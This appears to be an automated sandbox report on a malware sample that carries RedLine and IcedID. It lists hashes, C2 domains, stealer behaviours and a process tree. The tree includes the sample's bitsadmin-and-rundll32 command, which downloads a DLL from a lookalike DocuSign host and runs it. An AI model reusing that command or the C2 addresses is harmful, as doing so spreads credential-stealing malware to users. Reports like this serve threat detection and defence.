Resubmissions

10-05-2021 11:09

210510-cdf8nml7an 10

Analysis

  • max time kernel
    141s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    10-05-2021 11:09

General

  • Target

    e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe

  • Size

    1.6MB

  • MD5

    16a11f50f6925fca61040f2e0a834b89

  • SHA1

    4179ea5b096750082e177dddedf3a46f1576ef91

  • SHA256

    e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148

  • SHA512

    309b46e3e09e77a96a3ecc06a06a62fc7111e15383aefb8eed8c9be11c700774749d55f6dd7e2fb172bc74525a52c888e9aac6c49b217e4a0bc3b247676a075c

Malware Config

Extracted

Family

redline

C2

zastaredan.xyz:80

Extracted

Family

icedid

Campaign

687839456

C2

icouldmakeyoubelieve.top

Signatures

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe
    "C:\Users\Admin\AppData\Local\Temp\e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1116
    • C:\Users\Admin\AppData\Local\Temp\e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe
      "C:\Users\Admin\AppData\Local\Temp\e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:472
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /C bitsadmin /transfer debjob /download /priority HIGH https://securepro.docusign.peacearoo.com/upd/cert.dll %tmp%\name.dll && rundll32 %tmp%\name.dll,PluginInit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1232
        • C:\Windows\SysWOW64\bitsadmin.exe
          bitsadmin /transfer debjob /download /priority HIGH https://securepro.docusign.peacearoo.com/upd/cert.dll C:\Users\Admin\AppData\Local\Temp\name.dll
          4⤵
          • Download via BitsAdmin
          PID:940
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32 C:\Users\Admin\AppData\Local\Temp\name.dll,PluginInit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1284
          • C:\Windows\system32\rundll32.exe
            rundll32 C:\Users\Admin\AppData\Local\Temp\name.dll,PluginInit
            5⤵
            • Blocklisted process makes network request
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            PID:1052

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/472-70-0x0000000005040000-0x0000000005041000-memory.dmp

    Filesize

    4KB

  • memory/472-66-0x0000000000400000-0x000000000041C000-memory.dmp

    Filesize

    112KB

  • memory/472-67-0x00000000004163BA-mapping.dmp

  • memory/472-68-0x0000000000400000-0x000000000041C000-memory.dmp

    Filesize

    112KB

  • memory/940-73-0x00000000767B1000-0x00000000767B3000-memory.dmp

    Filesize

    8KB

  • memory/940-72-0x0000000000000000-mapping.dmp

  • memory/1052-77-0x0000000001D70000-0x0000000001DCB000-memory.dmp

    Filesize

    364KB

  • memory/1052-76-0x0000000000000000-mapping.dmp

  • memory/1116-64-0x0000000005090000-0x0000000005128000-memory.dmp

    Filesize

    608KB

  • memory/1116-65-0x0000000004A30000-0x0000000004A85000-memory.dmp

    Filesize

    340KB

  • memory/1116-60-0x0000000000FC0000-0x0000000000FC1000-memory.dmp

    Filesize

    4KB

  • memory/1116-63-0x0000000000520000-0x000000000052E000-memory.dmp

    Filesize

    56KB

  • memory/1116-62-0x0000000004AB0000-0x0000000004AB1000-memory.dmp

    Filesize

    4KB

  • memory/1232-71-0x0000000000000000-mapping.dmp

  • memory/1284-74-0x0000000000000000-mapping.dmp